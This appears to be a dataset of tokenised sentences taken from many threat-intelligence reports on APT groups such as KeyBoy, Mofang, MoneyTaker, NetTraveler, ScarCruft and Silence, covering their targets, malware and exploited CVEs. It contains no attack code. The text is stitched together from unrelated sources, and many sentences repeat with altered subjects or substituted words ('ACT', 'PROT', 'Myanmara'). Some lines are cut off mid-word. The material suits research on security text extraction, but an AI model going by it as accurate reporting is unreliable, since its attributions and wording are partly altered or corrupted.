We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
Trochilus was first reported by Arbor Networks in their Seven Pointed Dagger report tying its use to other targeted Southeast Asia activity .
The activity dates to at least 2013 and has ties to multiple reports by other researchers .
It is highly likely MoonWind is yet another new tool being used by the group or groups responsible for that activity , indicating they are not only still active but continuing to evolve their playbook .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
On June 7 , 2013 , Rapid7 released an analysis of malware dubbed ' KeyBoy ' , also exploiting unknown vulnerabilities in Microsoft Office , similarly patched by MS12-060 , but allegedly targeting interests in Vietnam and India .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services likecom to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
Subdomains at phmail.us have been linked to malicious activity dating back as far as December 2011 .
Based on the patterns of subdomain registration over time in DNS , TRAC believes this is an example where the attackers registered their own second-level domain .
In this blog post we'll analyze two specific incidents apparently targeting victims in Vietnam and in India and we'll describe the capabilities of the custom backdoor being used that for convenience ( and to our knowledge , for a lack of an existing name ) we call KeyBoy , due to a string present in one of the samples .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
For the sake of this analysis we'll take the Vietnamese backdoor as an example ; the one found in the Indian attack operates in the exact same ACT .
In the second set they are making use of a dynamic DNS service byThe Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
More recently in 2016 , Arbor Networks reported on connected malware operations continuing to target these same groups , which the Communist Party of China perceives as a threat to its power .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
For example , we have observed frequent reuse of older ( patched ) exploits in malware operations against the Tibetan community .
These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy .
In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament ( the highest legislative organ of the Tibetan government in exile , formally known as Central Tibetan Administration ) .
The Arbor report describes the ongoing use of these four vulnerabilities in a series of espionage campaigns against not only Tibetan groups , but also others related to Hong Kong , Taiwan , and Uyghur interests .
The malware samples deployed in both of these operations are updated versions of the KeyBoy backdoor first discussed in 2013 by Rapid7 .
This behavioural tactic was previously mentioned in relation to KeyBoy in a 2013 blog post by Cisco .
These versions of KeyBoy differed from the one first described by Rapid7 in several ACTs , many of which will be described in the sections to follow .
These samples were contained in exploit documents containing distinct lure content , one having a Tibetan nexus , the other an Indian nexus .
We believe the 2013 , 2015 , and 2016 KeyBoy samples provide evidence of a development effort focused on changing components that would be used by researchers to develop detection signatures .
In another modification , first observed in the most recent October 11 Parliamentarian operation ( version agewkassif ) , the developer (s ) of KeyBoy began using a string obfuscation routine in order to hide many of the critical values referenced within the malware .
Trend Micro specifically noted that the 2013 versions of KeyBoy used the same algorithm for encoding their configuration files as was observed in the Operation Tropic Trooper malware .
This sample was also found to be deployed using the CVE-2012-0158 vulnerability .
The operation against the Tibetan Parliamentarians illustrates the continued use of malicious attachments in the form of documents bearing exploits .
Chances are about even , though , that Mofang is a relevant threat actor to any organization that invests in Myanmar or is otherwise politically involved .
In addition to the campaign in Myanmar , Mofang has been observed to attack targets across multiple sectors ( government , military , critical infrastructure and the automotive and weapon industries ) in multiple countries .
This threat report gives insight into some of the information that Fox-IT has about a threat actor that it follows , called Mofang .
The name Mofang is based on the Mandarin verb , which means to imitate .
It is highly likely that the Mofang group is a group that operates out of China and is probably government-affiliated .
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Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
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Chapter 7 explains the working of Mofang 's preferred tools : ShimRat and SimRatReporter .
The Mofang group has been active in relation to the Kyaukphyu sez .
KeyBoy provides basic backdoor functionality , allowing the operators to select from various capabilities used to surveil and steal information from the victim machine .
The first attack started in early July with a ShimRatReporter payload .
Myanmar has been the target of Mofang 's attacks for years before the campaign related to the sez .
In late September 2015 Mofang used the website of Myanmar 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
In December 2012 Mofang started a campaign against a new target , called ' seg ' for the purpose of this report .
From the configuration it can be determined that the company was running F-Secure Antivirus and Mofang registered the domain to not appear suspicious .
In September 2015 Mofang launched another attack .
A new version of ShimRat was built on the 7th of September , uploaded to the server and only days later used in a new campaign .
MoneyTaker has primarily been targeting card processing systems , including the AWS CBR ( Russian Interbank System ) and purportedly SWIFT ( US ) .
Given the wide usage of STAR in LATAM , financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group .
In addition to banks , the MoneyTaker group has attacked law firms and also financial software vendors .
Since that time , the group attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
The first attack in the US that Group-IB attributes to this group was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .
In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
In 2017 , the number of attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted .
By analyzing the attack infrastructure , Group-IB identified that MoneyTaker group continuously exfiltrates internal banking documentation to learn about bank operations in preparation for future attacks .
Group-IB reports that MoneyTaker uses both borrowed and their own self-written tools .
Group-IB has provided Europol and Interpol with detailed information about the MoneyTaker group for further investigative activities as part of our cooperation in fighting cybercrime .
In late September 2015 Mofang used the website of Myanmara 's national airline hosted at www.flymna.com for an attack against an organization in Myanmar .
To control the full operation , MoneyTaker uses a Pentest framework Server .
On it , MoneyTaker install a legitimate tool for penetration testing – Metasploit .
At the end of June 2015 Mofang started its campaign to gather information of a specific target in relation to the sezs : the cpg Corporation .
MoneyTaker uses ' fileless ' malware only existing in RAM and is destroyed after reboot .
To ensure persistence in the system MoneyTaker relies on PowerShell and VBS scripts - they are both difficult to detect by antivirus and easy to modify .
After successfully infecting one of the computers and gaining initial access to the system , the attackers perform reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network .
MUSTANG PANDA has previously used the observed microblogging site to host malicious PowerShell scripts and Microsoft Office documents in targeted attacks on Mongolia-focused NGOs .
This newly observed activity uses a series of redirections and fileless , malicious implementations of legitimate tools to gain access to the targeted systems .
Unit 42 recently identified a targeted attack against an individual working for the Foreign Ministry of Uzbekistan in China .
Since that time , MoneyTaker attacked companies in California , Utah , Oklahoma , Colorado , Illinois , Missouri , South Carolina , North Carolina , Virginia and Florida .
In their Operation Tropic Trooper report , Trend Micro documented the behaviour and functionality of an espionage toolkit with several design similarities to those observed in the various components of KeyBoy .
Our analysis shows that actors attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Unit 42 's analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
Our analysis shows that NetTraveler attempted to exploit CVE-2012-0158 to install NetTraveler Trojan .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker , 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
If KeyBoy is a single component of a larger espionage toolkit , the developers may have realized that this older , static-key based , configuration encoding algorithm was inadvertently providing a link between disparate components of their malware suite .
In 2016 , Group-IB identified 10 attacks conducted by MoneyTaker ; 6 attacks on banks in the US , 1 attack on a US service provider , 1 attack on a bank in the UK and 2 attacks on Russian banks .
The NetTraveler trojan has been known to be used in targeted cyber espionage attacks for more than a decade by nation state threat actors and continues to be used to target its victims and exfiltrate data .
The exploit document carrying this alternate KeyBoy configuration also used a decoy document which was displayed to the user after the exploit launched .
Only one incident involving a Russian bank was promptly identified and prevented that is known to Group-IB .
This program is designed to capture keystrokes , take screenshots of the user 's desktop and get contents from the clipboard .
To conduct targeted attacks , MoneyTaker use a distributed infrastructure that is difficult to track .
This technique hides the true C2 server from researchers that do not have access to both the rastls.dll and Sycmentec.config files .
Hackers use Metasploit to conduct all these activities : network reconnaissance , search for vulnerable applications , exploit vulnerabilities , escalate systems privileges , and collect information .
Over the years they've used application components from Norman , McAfee and Norton .
Recently , Falcon Intelligence observed new activity from MUSTANG PANDA , using a unique infection chain to target likely Mongolia-based victims .
Throughout the years , the Mofang group has compromised countless servers belonging to government or other Myanmar related organizations , in order to stage attacks .
This file requires the target to attempt to open the .lnk file , which redirects the user to a Windows Scripting Component ( .wsc ) file , hosted on an adversary-controlled microblogging page .
A report published by Kaspersky Labs in 2011 on NetTraveler also mentions the C2 servers were being hosted by Krypt Technolgies .
Obviously , the developers behind NetTraveler have taken steps to try to hide the malware 's configuration .
In this report , we'll review how the actors attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
In this report , we'll review how the NetTraveler attempted to exploit CVE-2012-0158 to install the NetTraveler Trojan .
Upon successful exploitation , the attachment will install the Trojan known as NetTraveler using a DLL side-loading attack technique .
NetTraveler has been used to target diplomats , embassies and government institutions for over a decade , and remains the tool of choice by the adversaries behind these cyber espionage campaigns .
WildFire correctly classifies NetTraveler as malicious .
The NetTraveler group has infected victims across multiple establishments in both the public and private sector including government institutions , embassies , the oil and gas industry , research centers , military contractors and activists .
Today Kaspersky Lab 's team of experts published a new research report about NetTraveler , which is a family of malicious programs used by APT actors to successfully compromise more than 350 high-profile victims in 40 countries .
According to Kaspersky Lab 's report , this threat actor has been active since as early as 2004 ; however , the highest volume of activity occurred from 2010 – 2013 .
Most recently , the NetTraveler group 's main domains of interest for cyberespionage activities include space exploration , nanotechnology , energy production , nuclear power , lasers , medicine and communications .
In addition , the NetTraveler toolkit was able to install additional info-stealing malware as a backdoor , and it could be customized to steal other types of sensitive information such as configuration details for an application or computer-aided design files .
During Kaspersky Lab 's analysis of NetTraveler , the company 's experts identified six victims that had been infected by both NetTraveler and Red October , which was another cyberespionage operation analyzed by Kaspersky Lab in January 2013 .
Kaspersky Lab 's products detect and neutralize the malicious programs and its variants used by the NetTraveler Toolkit , including Trojan-Spy.Win32.TravNet and Downloader.Win32.NetTraveler .
Based on Kaspersky Lab 's analysis of NetTraveler 's C&C data , there were a total of 350 victims in 40 countries across including the United States , Canada , United Kingdom , Russia , Chile , Morocco , Greece , Belgium , Austria , Ukraine , Lithuania , Belarus , Australia , Hong Kong , Japan , China , Mongolia , Iran , Turkey , India , Pakistan , South Korea , Thailand , Qatar , Kazakhstan , and Jordan .
Kaspersky Lab 's products detect the Microsoft Office exploits used in the spear-phishing attacks , including Exploit.MSWord.CVE-2010-333 , Exploit.Win32.CVE-2012-0158 .
In this case , it was a group commonly referred to as " Nitro " , which was coined by Symantec in its 2011 whitepaper .
Historically , Nitro is known for targeted spear phishing campaigns and using Poison Ivy malware , which was not seen in these attacks .
Since at least 2013 , Nitro appears to have somewhat modified their malware and delivery methods to include Spindest and legitimate compromised websites , as reported by Cyber Squared 's TCIRT .
In July , Nitro compromised a South Korean clothing and accessories manufacturer 's website to serve malware commonly referred to as " Spindest " .
Of all the samples we've tied to this activity so far noted in this blog , this is the only one configured to connect directly to an IP address for Command and Control ( C2 ) .
The next sample was another Spindest variant and had the same timestamp as the aforementioned PcClient sample .
As this post and previous cited research show , APT groups such as Nitro will continue to evolve their techniques within the kill chain to avoid detection .
attacks on the chemical industry are merely their latest attack wave .
The goal of the attackers appears to be to collect intellectual property such as design documents , formulas , and manufacturing processes .
The attack wave started in late July 2011 and continued into midSeptember 2011 .
The purpose of the attacks appears to be industrial espionage , collecting intellectual property for competitive advantage .
They then moved on to the motor industry in late May .
From late April to early May , the attackers focused on human rights related NGOs .
Attackers then moved on to the motor industry in late May .
At this point , the current attack campaign against the chemical industry began .
The attackers first researched desired targets and then sent an email specifically to the target .
First , when a specific recipient was targeted , the mails often purported to be meeting invitations from established business partners .
While the attackers used different pretexts when sending these malicious emails , two methodologies stood out .
Secondly , when the emails were being sent to a broad set of recipients , the mails purported to be a necessary security update .
The attacks were traced back to a computer system that was a virtual private server ( VPS ) located in the United States .
Attackers are sending malicious PDF and DOC files , which use exploits to drop variants of Backdoor.Sogu .
This particular threat was also used by hackers to compromise a Korean social network site to steal records of 35 million users .
The Sogu gang use a custom developed threat – Backdoor.Sogu , whereas the group described in this document use an off the shelf threat – Poison Ivy .
The Sogu gang , in contrast , use PDF and DOC files in very tailored , targeted emails .
These attacks are primarily targeting private industry in search of key intellectual property for competitive advantage , military institutions , and governmental organizations often in search of documents related to current political events and human rights organizations .
Nitro 's campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
This attack campaign focused on the chemical sector with the goal of obtaining sensitive documents such as proprietary designs , formulas , and manufacturing processes .
These have been highly active in the Middle East region and unveiled ongoing targeted attacks in multiple regions .
The attackers try to lure targets through spear phishing emails that include compressed executables .
We found that the group behind this campaign targeted mainly industrial , engineering and manufacturing organizations in more than 30 countries .
Using the Kaspersky Security Network ( KSN ) and artifacts from malware files and attack sites , we were able to trace the attacks back to March 2015 .
Operation Ghoul is one of the many attacks in the wild targeting industrial , manufacturing and engineering organizations , Kaspersky Lab recommends users to be extra cautious while checking and opening emails and attachments .
The main point that sets Operation Groundbait apart from the other attacks is that it has mostly been targeting anti-government separatists in the self-declared Donetsk and Luhansk People 's Republics .
The attacks appear to be geopolitically motivated and target high profile organizations .
The objective of the attacks is clearly espionage – they involve gaining access to top legislative , executive and judicial bodies around the world .
The attackers have targeted a large number of organizations globally since early 2017 , with the main focus on the Middle East and North Africa ( MENA ) , especially Palestine .
The attacks were initially discovered while investigating a phishing attack that targeted political figures in the MENA region .
Like BlackEnergy ( a.k.a. Sandworm , Quedagh ) , Potao is an example of targeted espionage ( APT ) malware detected mostly in Ukraine and a number of other CIS countries , including Russia , Georgia and Belarus .
The main reason for the increase in Potao detections in 2014 and 2015 were infections through USB drives .
The first Potao campaign that we examined took place in August 2011 .
In March 2014 , the gang behind Potao started using a new infection vector .
Since March 2015 , ESET has detected Potao binaries at several high-value Ukrainian targets that include government and military entities and one of the major Ukrainian news agencies .
As confirmation that the malware writers are still very active even at the time of this writing , ESET detected a new Potao sample compiled on July 20 , 2015 .
In the previous pages we have presented our findings based on ESET detection telemetry and our analysis of Win32/Potao and Win32/FakeTC samples .
Potao is another example of targeted espionage malware , a so-called APT , to use the popular buzzword , although technically the malware is not particularly advanced or sophisticated .
Examples of notable Potao dissemination techniques , some of which were previously unseen , or at least relatively uncommon , include the use of highly-targeted spear-phishing SMS messages to drive potential victims to malware download sites and USB worm functionality that tricked the user into ' willingly ' executing the Trojan .
The PassCV group continues to be one of the most successful and active threat groups that leverage a wide array of stolen Authenticode-signing certificates .
The PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
he PassCV group typically utilized publicly available RATs in addition to some custom code , which ultimately provided backdoor functionality to affected systems via phony resumes and curriculum vitae ( CVs ) .
PassCV continues to maintain a heavy reliance on obfuscated and signed versions of older RATs like ZxShell and Ghost RAT , which have remained a favorite of the wider Chinese criminal community since their initial public release .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
SPEAR identified recent PassCV samples which implemented another commercial off-the-shelf ( COTS ) RAT called Netwire .
The first new connection SPEAR identified was derived from an email address listed in Blue Coat Systems' original report on PassCV .
Syncopate is a well-known Russian company that is best known as the developer and operator of the ' GameNet ' platform .
The PassCV group continues to be extremely effective in compromising both small and large game companies and surreptitiously using their code-signing certificates to infect an even larger swath of organizations .
Since the last report , PassCV has significantly expanded its targets to include victims in the United States , Taiwan , China and Russia .
Based on data collected from Palo Alto Networks AutoFocus threat intelligence , we discovered continued operations of activity very similar to the Roaming Tiger attack campaign that began in the August 2015 timeframe , with a concentration of attacks in late October and continuing into December .
The files exploit the well-known Microsoft Office vulnerability , CVE-2012-0158 , to execute malicious code in order to take control of the targeted systems .
BBSRAT is typically packaged within a portable executable file , although in a few of the observed instances , a raw DLL was discovered to contain BBSRAT .
WildFire properly classifies BBSRAT malware samples as malicious .
This week we will discuss another Chinese nexus adversary we call Samurai Panda .
Samurai Panda is interesting in that their target selection tends to focus on Asia Pacific victims in Japan , the Republic of Korea , and other democratic Asian victims .
Next , in an effort to demonstrate it wasn't relegated to China , CrowdStrike exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Next , in an effort to demonstrate it wasn't relegated to China , we exposed Clever Kitten , an actor we track out of Iran who leverages some very distinct TTPs when viewed next to a more visible adversary .
Beginning in 2009 , we've observed this actor conduct more than 40 unique campaigns that we've identified in the malware configurations' campaign codes .
These codes are often leveraged in the malware used by coordinated targeted attackers to differentiate victims that were successfully compromised from different target sets .
When conducting programmatic espionage activity , it can presumably become quite confusing if the attacker targets a heavy industry company , an avionics program , and seven other unique targets as to which infected host you will collect what information from .
These rules detect the malware " beaconing " to the command-and-control server , the initial malware check-in , and an attempt to download a backdoor module .
Earlier this month , Securelist 's technology caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
Securelist believe the attacks are launched by an APT Group we track under the codename " ScarCruft " .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
ScarCruft has several ongoing operations , utilizing multiple exploits — two for Adobe Flash and one for Microsoft Internet Explorer .
ScarCruft is a relatively new APT group ; victims have been observed in Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Operation Daybreak appears to have been launched by ScarCruft in March 2016 and employs a previously unknown ( 0-day ) Adobe Flash Player exploit .
Adobe Flash Player exploit .
It is also possible that ScarCruft deployed another zero day exploit , CVE-2016-0147 , which was patched in April .
Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
ScarCruft 's Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .
Nevertheless , resourceful threat actors such as ScarCruft will probably continue to deploy zero-day exploits against their high profile targets .
After publishing our initial series of blogposts back in 2016 , Kaspersky have continued to track the ScarCruft threat actor .
After publishing our initial series of blogposts back in 2016 , we have continued to track the ScarCruft threat actor .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises ( SWC ) .
ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula .
ScarCruft uses a multi-stage binary infection scheme .
One of the most notable functions of the initial dropper is to bypass Windows UAC ( User Account Control ) in order to execute the next payload with higher privileges .
This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME which is normally used by legitimate red teams .
Afterwards , the installer malware creates a downloader and a configuration file from its resource and executes it .
The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload .
The ScarCruft group keeps expanding its Exfiltration targets to steal further information from infected hosts and continues to create tools for additional data Exfiltration .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
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We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester .
We believe they may have some links to North Korea , which may explain why ScarCruft decided to closely monitor them .
ScarCruft also attacked a diplomatic agency in Hong Kong , and another diplomatic agency in North Korea .
It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes .
ScarCruft infected this victim on September 21 , 2018 .
But before the ScarCruft infection , however , another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26 , 2018 .
ScarCruft has a keen interest in North Korean affairs , attacking those in the business sector who may have any connection to North Korea , as well as diplomatic agencies around the globe .
Earlier this month , we caught another zero-day Adobe Flash Player exploits deployed in targeted attacks .
ScarCruft is a relatively new APT group ; victims have been observed in several countries , including Russia , Nepal , South Korea , China , India , Kuwait and Romania .
Currently , the group is engaged in two major operations : Operation Daybreak and Operation Erebus .
The other one , ScarCruft 's Operation Erebus employs an older exploit , for CVE-2016-4117 and leverages watering holes .
The other one , " Operation Erebus " employs an older exploit , for CVE-2016-4117 and leverages watering holes .
We will publish more details about the attack once Adobe patches the vulnerability , which should be on June 16 .
The ScarCruft APT gang has made use of a Flash zero day patched Thursday by Adobe to attack more than two dozen high-profile targets in Russia and Asia primarily .
Adobe on Thursday patched a zero-day vulnerability in Flash Player that has been used in targeted attacks carried out by a new APT group operating primarily against high-profile victims in Russia and Asia .
Researchers at Kaspersky Lab privately disclosed the flaw to Adobe after exploits against the zero-day were used in March by the ScarCruft APT gang in what Kaspersky Lab is calling Operation Daybreak .
Kaspersky speculates that ScarCruft could also be behind another zero-day , CVE-2016-0147 , a vulnerability in Microsoft XML Core Services that was patched in April .
attacks start with spear-phishing emails that include a link to a website hosting an exploit kit associated with ScarCruft and used in other attacks .
Another set of attacks called Operation Erebus leverages another flash exploit , CVE-2016-4117 , and relies on watering hole attacks as a means of propagation .
Thursday 's Flash Player update patched 36 vulnerabilities in total including the zero day CVE-2016-4171 .
The ongoing operation likely began as early as January 2017 and has continued through the first quarter of 2019 .
Cisco Talos assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
We assess with high confidence that these operations are distinctly different and independent from the operations performed by DNSpionage , which we reported on in November 2018 .
The common use of the Enfal Trojan suggests that Shadow Network may be exchanging tools and techniques .
While Silence had previously targeted Russian banks , Group-IB experts also have discovered evidence of the group 's activity in more than 25 countries worldwide .
In August 2017 , the National Bank of Ukraine warned state-owned and private banks across the country about a large-scale phishing attack .
The threat actor used an exploit from the arsenal of the state-sponsored hacker group APT28 .
The new threat actor group was eventually named Silence .
Silence is a group of Russian-speaking hackers , based on their commands language , the location of infrastructure they used , and the geography of their targets ( Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan ) .
Although Silence 's phishing emails were also sent to bank employees in Central and Western Europe , Africa , and Asia ) .
Silence also used Russian-language web hosting services .
Financially motivated APT groups which focus efforts on targeted attacks on the financial sector such as — Anunak , Corkow , Buhtrap — usually managed botnets using developed or modified banking Trojans .
They tried new techniques to steal from banking systems , including AWS CBR ( the Russian Central Bank 's Automated Workstation Client ) , ATMs , and card processing .
Group-IB researchers were tracking Silence throughout this period and conducting response following incidents in the financial sector .
Group-IB detected the first incidents relating to Silence in June 2016 .
One of Silence 's first targets was a Russian bank , when they tried to attack AWS CBR .
They are selective in their attacks and wait for about three months between incidents , which is approximately three times longer than other financially motivated APT groups , like MoneyTaker , Anunak ( Carbanak ) , Buhtrap or Cobalt .
Silence try to apply new techniques and ACTs of stealing from various banking systems , including AWS CBR , ATMs , and card processing .
Silence 's successful attacks currently have been limited to the CIS and Eastern European countries .
He is responsible for developing tools for conducting attacks and is also able to modify complex exploits and third party software .
Silence 's main targets are located in Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
However , some phishing emails were sent to bank employees in more than 25 countries of Central and Western Europe , Africa and Asia including : Kyrgyzstan , Armenia , Georgia , Serbia , Germany , Latvia , Czech Republic , Romania , Kenya , Israel , Cyprus , Greece , Turkey , Taiwan , Malaysia , Switzerland , Vietnam , Austria , Uzbekistan , Great Britain , Hong Kong , and others .
In the same year , they conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In the same year , Silence conducted DDoS attacks using the Perl IRC bot and public IRC chats to control Trojans .
In two months , the group returned to their proven method and withdrew funds again through ATMs .
In September 2017 , we discovered a new targeted attack on financial institutions .
In September 2017 , we discovered Silence attack on financial institutions .
The infection vector is a spear-phishing email with a malicious attachment .
An interesting point in the Silence attack is that the cybercriminals had already compromised banking infrastructure in order to send their spear-phishing emails from the addresses of real bank employees and look as unsuspicious as possible to future victims .
The spear-phishing infection vector is still the most popular ACT to initiate targeted campaigns .
We conclude that the actor behind the attack is Silence group , a relatively new threat actor that's been operating since mid-2016 .
A preliminary analysis caught the attention of our Threat Analysis and Intelligence team as it yielded interesting data that , among other things , shows that Silence was targeting employees from financial entities , specifically in the Russian Federation and the Republic of Belarus .
As shown above , the threat runs several native binaries to collect useful information for its recon phase .
The intelligence we have collected shows that Silence is part of a more extensive operation , still focused on financial institutions operating mainly on Russian territory .
These spearphishing attempts represent an evolution of Iranian actors based on their social engineering tactics and narrow targeting .
Based on file modification dates and timestamps of samples , it appears that the observed campaign was initiated in the middle of February 2016 , with the infrastructure taken offline at the start of March .
While the Sima moniker could similarly originate from software labels , it is a common female Persian name and a Persian-language Word for " visage " or " appearance " .
Given its use in more advanced social engineering campaigns against women 's rights activists , the label seem particularly apt .
Samples and resource names contained the family names of prominent Iranians , and several of these individuals received the malware located in their respective folder .
The Sima group also engaged in impersonation of Citizenship and Immigration Services at the Department of Homeland Security , posing as a notice about the expiration of the recipient 's Permanent Residence status .
In another case , Sima mirrored an announcement made about the broadcast of a television program on Iranian-American cultural affairs in order to impersonate the individual and engage in spearphishing within hours of the legitimate message .
The server used to host these malware samples was located on the German provider Hetzner ( 148.251.55.114 ) , within a small block of IP addresses that are registered with the customer ID " HOS-156205 " .
All the samples appear to be have been compiled between February 29 and March 1 2016 , shortly before our discovery , suggesting that , despite the known C&C servers having quickly gone offline shortly after , this spree of attacks might be fresh and currently undergoing .
These archives provide further indication that those entities behind the campaigns are Persian-language speakers , due to the naming of files and folders in Persian .
For the sake of narrative we are going to focus exclusively to those samples we identified being used in attacks against Iranian civil society and diaspora .
Butterfly has attacked multi-billion dollar companies operating in the internet , IT software , pharmaceutical , and commodities sectors .
The first signs of Butterfly 's activities emerged in early 2013 when several major technology and internet firms were compromised .
However , an investigation by Symantec has found that the group has been active since at least March 2012 and its attacks have not only continued to the present day , but have also increased in number .
Symantec has to date discovered 49 different organizations in more than 20 countries that have been attacked by Butterfly .
Aside from the four companies which have publicly acknowledged attacks , Symantec has identified five other large technology firms compromised by Butterfly , primarily headquartered in the US .
In the first attack , Butterfly gained a foothold by first attacking a small European office belonging to one firm and using this infection to then move on to its US office and European headquarters .
However , technology is not the only sector the group has focused on and Symantec has found evidence that Butterfly has attacked three major European pharmaceutical firms .
Butterfly has also shown an interest in the commodities sector , attacking two major companies involved in gold and oil in late 2014 .
The company specializes in finance and natural resources specific to that region .
The latter was one of at least three law firms Butterfly has targeted over the past three years .
In many attacks , the group has succeeded in compromising Microsoft Exchange or Lotus Domino email servers in order to intercept company emails and possibly use them to send counterfeit emails .
A powerful threat actor known as " Wild Neutron " ( also known as " Jripbot " and " Morpho " ) has been active since at least 2011 , infecting high profile companies for several years by using a combination of exploits , watering holes and multi-platform malware .
Based on the profile of the victims and the type of information targeted by the attackers , Symantec believes that Butterfly is financially motivated , stealing information it can potentially profit from .
Wild Neutron hit the spotlight in 2013 , when it successfully infected companies such as Apple , Facebook , Twitter and Microsoft .
Wild Neutron 's attacks in 2015 uses a stolen code signing certificate belonging to Taiwanese electronics maker Acer and an unknown Flash Player exploit .
During the 2013 attacks , the Wild Neutron actor successfully compromised and leveraged the website www.iphonedevsdk.com , which is an iPhone developers forum .
Wild Neutron 's attack took advantage of a Java zero-day exploit and used hacked forums as watering holes .
While the group used watering hole attacks in 2013 , it's still unclear how victims get redirected to the exploitation kits in the new 2014-2015 attacks .
Wild Neutron 's tools include a password harvesting trojan , a reverse-shell backdoor and customized implementations of OpenSSH , WMIC and SMB .
Instead of Flash exploits , older Wild Neutron exploitation and watering holes used what was a Java zero-day at the end of 2012 and the beginning of 2013 , detected by Kaspersky Lab products as Exploit.Java.CVE-2012-3213.b .
The victims for the 2014-2015 versions are generally IT and real estate/investment companies and in both cases , a small number of computers have been infected throughout Wild Neutron .
Wild Neutron 's targeting of major IT companies , spyware developers ( FlexiSPY ) , jihadist forums ( the " Ansar Al-Mujahideen English Forum " ) and Bitcoin companies indicate a flexible yet unusual mindset and interests .
We continue to track the Wild Neutron group , which is still active as of June 2015 .
A ransomware variant dubbed PyLocky was observed in September 2018 being distributed by a phishing campaign using an invoicing theme .
PyLocky was found to be targeting entities in France and Germany .
Fxmsp specialize in breaching highly secure protected networks to access private corporate and government information .
Fxmsp is a hacking collective that has operated in various top-tier Russian- and English-speaking underground communities since 2017 .
Throughout 2017 and 2018 , Fxmsp established a network of trusted proxy resellers to promote their breaches on the criminal underground .
On April 24 , 2019 , Fxmsp claimed to have secured access to three leading antivirus companies .
According to the Fxmsp , they worked tirelessly for the first quarter of 2019 to breach these companies and finally succeeded and obtained access to the companies' internal networks .
Booz Allen Hamilton in 2014 and AhnLab in 2015 reported on Bisonal using a simple XOR cipher to hide the C2 address strings in the body .
For example , Bisonal malware in 2012 used send() and recv() APIs to communicate with its C2. This Bisonal variant used in the latest attack communicates with one of the following hard-coded C2 addresses by using the HTTP POST method on TCP PROT 443 .
Previous reports have discussed Bisonal malware used in attacks against Japan , South Korea and Russia .
This particular sample we found targeted an organization in Russia and there is a specific system language check for Cyrillic and no others .
If it's Cyrillic and the command to the shell is not ‘ipconfig’ , the threat converts the command result text encoding from Cyrillic to UTF-16 .
Similar to the Bisonal variant targeting the Russian organization , this sample was also disguised as PDF document .
The installed EXE file is almost exactly the same as the DLL version of Bisonal variant used against the Russian organization .
The targets are military or defense industry in particular countries , it used DDNS for C2 servers , and tracked connections from their victims by using target or campaign codes , as well as disguising the malware as document file , and using a dropper to install the malware and decoy file .
A previous campaign of this APT group was uncovered by Talos in June 2017 , and since then very little of this operation was seen in the wild .
ined in the archive is called DriverInstallerU.exe” but its metadata shows that its original name is Interenet Assistant.exe” .
